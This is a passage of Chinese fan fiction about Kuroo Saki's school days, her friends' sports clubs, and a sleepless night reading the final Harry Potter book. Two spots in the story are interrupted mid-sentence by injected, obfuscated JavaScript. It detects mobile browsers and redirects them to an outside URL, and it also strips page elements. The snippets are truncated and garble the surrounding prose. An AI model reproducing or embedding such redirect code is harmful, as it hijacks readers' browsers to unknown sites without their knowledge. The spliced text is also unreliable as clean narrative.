似乎察觉到她的目光,绿间真太郎突然转头,两人的视线在空中相遇。黑尾纱季有些窘迫地笑了笑,权当打招呼,绿间微微颔首,推了推眼镜,又转回去继续听讲。 漫长的开学典礼终于结束,学生们如潮水般涌回教室。 走廊上充满了欢声笑语,新生们互相介绍着自己,交换着假期见闻。 班主任中村梨花老师是个身材娇小的中年女性,戴着金丝眼镜,说话轻声细语。她站在讲台上,温和地注视着全班同学,开始讲解新学期的注意事项。 然而,童年时在幼儿园的经历让黑尾纱季对这种看似温柔的老师始终保持着警惕。 黑尾纱季单手托腮,心不在焉地听着班主任讲话,目光不时飘向窗外摇曳的樱花。 开学的第一天事务不多,选完班干部、发完教材就放学了。 自我介绍被安排到第二天进行。与积极准备自我介绍的桃井五月不同,黑尾纱季和孤爪研磨对此毫不在意。 回家后,一个沉浸在小说世界里,一个专注于游戏屏幕,完全忘记了这件事。 于是第二天,当轮到他们自我介绍时,两人的发言都简短得令人发笑。 “我是黑尾纱季,请多指教。”说完就迅速坐下,引来同学们善意的笑声。 相比之下,桃井五月活力四射的自我介绍赢得了热烈的掌声,她甚至用粉笔在黑板上画了一个可爱的笑脸。 社团招新是入学后的重头戏。 这天还没放学,班长就开始分发社团申请表。 表格上密密麻麻地列出了帝光中学所有的社团,从运动类到文化类,应有尽有,黑尾纱季用手指顺着列表往下滑,认真阅读每个社团的介绍。 “纱季打算加入什么社团?”桃井五月转过身,趴在黑尾纱季的课桌上问道。 黑尾纱季不假思索地在表格上写下文学部三个字。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522342|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“果然是纱季会做的选择呢。”桃井五月笑着评价道。 “什么叫果然是啊。”黑尾纱季哭笑不得:“那五月呢?” “应该会和阿大一起去篮球部吧,那家伙没人看着可不行。”桃井五月用笔轻点着嘴唇思考道。 这个答案并不出乎黑尾纱季的意料。 她知道桃井五月在数据分析方面很有天赋,一定能成为出色的篮球部经理,她甚至能想象桃井五月拿着战术板,认真记录每个球员数据的样子。 “研磨呢?”黑尾纱季侧身询问后座的好友。 孤爪研磨正低头玩着掌机,听到问题才勉强抬起头来。 他叹了口气:“没什么特别想去的,就陪小黑去排球部好了。” “排球部?!”黑尾纱季和桃井五月异口同声地惊呼。 虽然知道孤爪研磨偶尔会陪哥哥去排球教室,但他这么怕累的人居然会选择运动社团,实在令人意外。 而桃井五月则以为他会选择游戏相关的社团,毕竟他几乎随时随地都带着游戏机。 “突然感觉被运动社团包围了呢。”黑尾纱季开玩笑地说,做出一个夸张的无奈表情。 桃井五月捏了捏她的脸颊:“那纱季也来篮球部陪我嘛,体育生可是很受欢迎的哦!” 她眨眨眼,露出促狭的笑容。 “才不要,全是汗臭味。”黑尾纱季把头摇得像拨浪鼓,皱着小鼻子,好像已经闻到了那股想象中的气味。 “那说好了。”桃井五月突然变得认真起来,双手撑在课桌上,身体微微前倾:“等我们打进全国大赛时,纱季一定要来看比赛。帝光可是篮球豪强呢。” 全国大赛啊...... 黑尾纱季的目光在前座的桃井五月和后座的孤爪研磨之间游移。 她想象着好友们在赛场上拼搏的样子,想象着看台上欢呼的人群,想象着自己为他们加油的场景。 她郑重地点头:“那就这么约定了,不管你们谁打进全国大赛,我都会去加油的。” ...... 时光如白驹过隙,转眼间开学已一个多月。 四月的樱花早已凋零,取而代之的是五月嫩绿的新叶,校园里的银杏树抽出新芽,在阳光下泛着晶莹的翠绿色。 黑尾纱季渐渐适应了国中生活,每天早晨准时到校,放学后参加社团活动,生活规律而充实。 文学部的活动室位于教学楼顶层的角落,是一间阳光充足的小教室。 靠墙的书架上摆满了各类书籍,从古典文学到现代小说,从诗歌集到散文选,应有尽有,窗户旁放着几盆绿植,为室内增添了几分生机。 每周二、四的下午,黑尾纱季都会准时出现在这里,和其他部员们一起沉浸在阅读的海洋中。 文学部的活动轻松惬意,大家聚在一起阅读、讨论,每周交一篇读书心得。 活动室里常常安静得只能听见翻书声和笔尖划过纸面的沙沙声,偶尔爆发出的讨论声也很快归于平静,黑尾纱季最喜欢这样的氛围,仿佛时间都变得缓慢起来。 活动结束后,黑尾纱季常常会去体育馆等待排球部的哥哥和好友,她通常坐在体育馆外的长椅上,一边看书一边等待,直到训练结束的哨声响起。 看着身边亲友都投身运动社团,黑尾纱季既无奈又骄傲。 她见过哥哥黑尾铁朗在球场上的英姿,高大的身影灵活地穿梭在队友之间,也见过孤爪研磨虽然一脸不情愿却依然认真练习的样子。 上次通电话时,她得知好友御幸一也加入了少棒队。 “看来我们都要成为运动社团的应援团了。”御幸一也在电话那头笑着说,声音里带着掩饰不住的兴奋。 于是,尽管对运动兴趣缺缺,黑尾纱季还是开始关注排球、棒球和篮球的相关知识。 她会在图书馆借阅运动杂志,偶尔也会看一些比赛录像。 “到底谁会最先打进全国大赛呢?”这个念头像一颗种子,在她心中悄然生根。 26.魔法世界 最近,黑尾纱季时常感到时光如指尖流沙般悄然消逝。 镜中的少女已褪去稚气,眉眼间渐渐显露出少女特有的清丽轮廓,这让她恍惚意识到自己已然出落成一个小大人了。 记忆里那个在书店捧着《哈利·波特》第六部踌躇不前的窘迫场景仿佛就在昨日。 而现在,书店的玻璃橱窗内,《哈利·波特与死亡圣器》烫金的书名在阳光下闪烁着耀眼的光芒,宣告着一个时代的终结。 她仍记得小时候因零花钱不够,只能蜷缩在书店角落,如饥似渴地翻阅前三部时的情景。 那时的她,连买下一本书都是奢望,只能将每一个字都珍藏在记忆深处。 而现在,她不仅能轻松购得第七部,甚至还能用余下的零钱买一杯热可可。 细细数来,这短短十余年的生命旅程中,竟有大半光阴是与这个魔法世界共同度过的。 每当想到这里,黑尾纱季的胸口就会涌起一股暖流,能与这个充满奇迹的世界相遇,是何等幸运的事啊。 正当她沉浸在这份感慨中时,一阵诱人的香气突然钻入鼻腔,还未等她反应过来,一颗金黄酥脆的章鱼小丸子已经抵在了她的唇边,她下意识地咬了一口,鲜美的酱汁在口腔中迸发,章鱼的Q弹与面衣的酥脆形成绝妙的口感层次。 “哥哥,你怎么这么突然!”咽下食物后,黑尾纱季略带嗔怪地抬头,正对上黑尾铁朗带着促狭笑意的眼睛。 “我还想问你呢,想得这么入神。”黑尾铁朗将最后一个章鱼小丸子抛入口中,一边咀嚼一边用探究的目光打量着妹妹。 他太了解自家妹妹了,每当她露出这种若有所思的表情,多半是藏着什么心事。 “也没什么啦,就是觉得时间过得太快了。”黑尾纱季将下巴搁在桌面上,声音闷闷的,像只慵懒的猫咪。 坐在一旁的黑尾拓真闻言,从报纸上方投来慈爱的目光:“我们纱季什么时候开始有这种深沉的感慨了?” “本来就很快嘛。”黑尾纱季撅起嘴,像只气鼓鼓的小河豚,但很快又放弃了与父亲争辩的念头,转而看向哥哥:“现在吃这个,等会儿吃不下饭,妈妈肯定会说你。” 黑尾铁朗得意地卷起袖子,展示着自己结实的手臂肌肉:“我现在正是长身体的时候,感觉能吃下一头牛,倒是纱季,你吃得太少了,小心以后还没研磨高呢。” 在排球部日复一日的训练下,黑尾铁朗的身高如春笋般节节拔高,如今已经逼近一米七的大关。 黑尾纱季暗自估算,以这个趋势,哥哥成年后突破一米八绝非难事。 不过,对身高并不在意的黑尾纱季只是淡定地耸耸肩:“没研磨高就没研磨高呗,我又不打排球,又不是主攻手,矮点也没关系。” “哇,纱季你竟然知道主攻!”黑尾铁朗夸张地瞪大眼睛,仿佛听到了什么惊天动地的消息。 感动之下,他张开双臂就要给妹妹一个熊抱。 “走开啦!”黑尾纱季敏捷地闪身躲过,像条灵活的小鱼般溜进了厨房。 “妈妈,我来帮忙!”她嘴上这么说着,手却悄悄伸向刚出锅的鸡米花。 黑尾明美眼疾手快地拍开女儿不安分的手,又好气又好笑地将她赶出厨房:“马上就开饭了,别在这里偷吃。” “哦……”黑尾纱季悻悻地退出来,迎面撞上黑尾铁朗幸灾乐祸的笑容。 她冷哼一声,绕到哥哥身后,居高临下地睨了他一眼,然后恶作剧般地将手插入他已经够凌乱的头发里,用力揉搓起来。 “喂喂!住手啊!”黑尾铁朗一边大笑一边求饶,当他试图反击时,黑尾明美恰巧端着饭菜走出厨房,警告的眼神让他立刻偃旗息鼓。 逃过一劫的黑尾纱季乖巧地帮忙布置餐桌,还不忘甜甜地撒娇:“妈妈,我最爱你了。” 晚饭后,一家人各自忙碌起来。 黑尾纱季迫不及待地跑回房间,找了个最舒服的姿势窝在懒人沙发里,小心翼翼地拆开今天刚买的《哈利·波特与死亡圣器》。 她还记得看完《混血王子》时,为邓布利多的离世哭得眼睛肿得像桃子,这次她学聪明了,提前在身旁备好了一整盒纸巾。 如果说《哈利·波特》系列的前三部是充满童趣的魔法童话,那么从第四部《火焰杯》开始,故事便逐渐显露出现实的残酷底色。 而到了第七部,主角三人组颠沛流离的逃亡之旅,让黑尾纱季的心始终悬在嗓子眼,生怕翻到下一页就会看到哪个心爱的角色遭遇不测。 从雷古勒斯死亡的真相被揭露开始,黑尾纱季的泪水就像断了线的珍珠,怎么也止不住,当最后合上书本时,她身边的纸巾已经所剩无几,垃圾桶里堆满了湿透的纸团。 本想上网看看其他读者的感想,抬头却发现时针已经指向凌晨三点…… 想到明天还有令人头疼的数学课,黑尾纱季只好依依不舍地关灯上床。 然而,即便躺在床上,她的思绪仍停留在那个魔法世界,各种情节如走马灯般在脑海中闪回。 想到那些惊心动魄的战斗、那些为战争牺牲的生命、多年后宿敌在九又四分之三站台的重逢……黑尾纱季彻底失眠了。 辗转反侧的后果就是第二天差点迟到。 如今孤爪研磨和黑尾铁朗早上都有排球部早训,黑尾纱季只能独自上学,没有好友在外等候,再加上平时自律从不需要母亲叫醒,她竟一觉睡过了头,连早餐都顾不上吃就匆匆赶往学校。 当黑尾纱季顶着一对熊猫眼踩着上课铃冲进教室时,桃井五月和孤爪研磨都吓了一跳。 “纱季,你昨晚干什么去了?”桃井五月担忧地看着她浮肿的眼皮。 “别提了,估计一晚上都没怎么睡。”黑尾纱季痛苦地翻出课本:“QAQ五月有吃的吗?起晚了没吃早饭,饿死了。” 幸好桃井五月平时就有在包里放零食的习惯,这下可救了黑尾纱季一命。 她狼吞虎咽地吃着饼干和面包,桃井五月在一旁不停地提醒她慢点吃,小心噎着。 期间,黑尾纱季含糊不清地讲述了昨晚熬夜看书的经历,听得桃井五月和坐在后面的孤爪研磨直摇头。 第一节课是黑尾纱季最头疼的数学课。 尽管她强打精神听讲,但黑板上的公式却越来越像天书,最终她还是败给了睡意,迷迷糊糊地进入了梦乡。 当老师巡视课堂时,发现了趴在桌上睡觉的黑尾纱季,眉头立刻皱了起来,正准备叫醒她罚站。 “她昨天晚上不舒服,几乎一晚上都没睡。”孤爪研磨在后面小声解释道。 考虑到黑尾纱季平时表现优异,数学老师最终网开一面,只是轻轻敲了敲她的桌子作为警告。 本想为好友解围的桃井五月悄悄松了口气,趁老师不注意时,朝孤爪研磨竖起大拇指。 睡了一上午,到午餐时间黑尾纱季才稍稍恢复精神。 “完蛋,回家得好好复习今天的课了,好担心跟不上。”黑尾纱季痛苦地捂住脸:“早知道就忍一忍周末再看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525470|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 黑尾铁朗体贴地往妹妹便当盒里夹了一只金黄酥脆的天妇罗炸虾:“没事,你这么聪明,只是一节课没听,在补习班的时候补一补就能跟上了。” “可是这是数学课……”黑尾纱季依然忧心忡忡。 与数学天赋异禀的孤爪研磨和桃井五月不同,数学一直是黑尾纱季的软肋。 虽然她现在的成绩还算不错,但那完全是靠题海战术堆出来的,她不像那些一点就透的同学,随便听听就能举一反三。 想到这里,黑尾纱季忍不住幽怨地瞪了孤爪研磨一眼。 “你瞪研磨做什么?”黑尾铁朗忍俊不禁:“要不是研磨,你早就被叫起来罚站了。” “我只是嫉妒这些天赋型选手。”黑尾纱季咬牙切齿地说。 孤爪研磨无奈地叹了口气,夹了块嫩滑的玉子烧放在黑尾纱季的便当盒里:“想想你的国文课近乎满分的成绩。” 哦对,自己的天赋全点在国文上了。黑尾纱季这才后知后觉地平衡了些。 ...... 熬了一夜又上了一天课,当黑尾纱季拖着沉重的步伐来到文学部活动室时,感觉自己活像被抽干了精气神的行尸走肉。 然而环顾四周,她惊讶地发现许多部员也都面色苍白,眼下挂着浓重的黑眼圈。 想到昨天是《死亡圣器》首发的日子,黑尾纱季试探性地询问了一圈,果然大家都和她一样熬夜看完了全书。 突然间,黑尾纱季觉得自己的疲惫减轻了不少。 这大概就是人类的劣根性吧,当发现别人和自己同病相怜时,痛苦似乎也变得可以忍受了。 找到同好的兴奋感如电流般传遍全身,黑尾纱季顿时精神焕发,困意一扫而空,仿佛还能再战三百回合。 她和部员们热烈地讨论着对《哈利波特》系列的看法,特别是对《死亡圣器》的读后感,每个人都顶着硕大的黑眼圈却神采奕奕。 直到部长和辅导老师走进活动室。 部长大概是社团中最辛苦的人,不仅要参与部活,还要处理各种行政事务。 就像现在,明明部长昨晚也熬夜了,却还得强打精神与校方沟通。 文学部的指导老师很少出席部活,所以当老师走进来时,喧闹的活动室立刻安静下来。 黑尾纱季和大家一样,好奇地抬头望向老师。 今天,指导老师带来了一个征文比赛的消息,鼓励有兴趣的同学踊跃投稿。 写文章...... 黑尾纱季想起国小时,班里养的兔子不幸去世,国文老师让大家以此为题写一篇作文。 她的作文不仅获得了老师的高度评价,还被当做范文在全班朗读。 从那时起,写作就成了她表达情感的重要方式。 这次征文比赛,黑尾纱季决定写一篇关于《哈利·波特》的文章,用文字倾诉自己对这部作品的热爱,以及对那些深入灵魂的角色的理解。 她相信,通过精心雕琢的文字,一定能将内心的感动完整地传达给读者。 于是,在接下来的日子里,黑尾纱季全身心投入到征文的准备中。 她反复研读《哈利·波特》系列,在字里行间寻找灵感,思考如何将自己的感悟融入文章。 每当夜深人静,她都会伏案疾书,让思绪随着笔尖在纸上流淌。 最终,黑尾纱季完成了一篇饱含深情与洞见的文章。 当她将文稿郑重地交给指导老师时,心中满是对评选结果的期待。